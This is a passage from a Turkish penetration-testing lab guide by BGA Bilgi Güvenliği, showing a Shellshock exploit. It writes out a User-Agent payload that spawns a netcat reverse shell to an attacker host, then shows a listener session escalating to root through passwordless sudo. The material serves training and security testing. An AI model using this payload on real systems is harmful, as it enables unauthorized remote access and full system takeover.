33333 listening on [any] 33333 Zafiyet barından uygulama tarafında yapılması gereken şey ise, User-Agent’a yazılacak payload ile saldırgan makinesine netcat bağlantısı kurmaktır. Bunun için yazılacak olan payload aşağıdaki gibi olacaktır. () { :; }; /bin/bash -c 'ping -c 3 172.16.16.1;nc 172.16.16.10 33333 -e /bin/sh' Sonrasında saldırgan tarafından dinlemeye alınan port üzerinde bağlantının gerçekleştiği görülecektir. Artık saldırgan yazacağı komutları User-Agent bilgileri üzerinden değil kendi komut satırından gönderecektir.
  25. 25. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity Saldırgan tarafından çalıştırılan örnek komutlar aşağıdaki tabloda verilmiştir. Komut çıktılarına bakılacak olursa sistem üzerinde parolasız root kullanıcısının olduğu ve sonrasında ise saldırganın root haklarına sahip olduğu açıkça görülmektedir. root@bgakali:/home/cihat# nc -lvp 33333 listening on [any] 33333 connect to [172.16.16.10] from 85.105.101.253.static.ttnet.com.tr [85.105.101.253] 37918 id uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab) sudo -l User pentesterlab may run the following commands on this host: (root) NOPASSWD: ALL sudo -s id uid=0(root) gid=0(root) groups=0(root) Not: Bu doküman BGA Bilgi Güvenliği A.Ş için Mesut Türk tarafından hazırlanmıştır.

×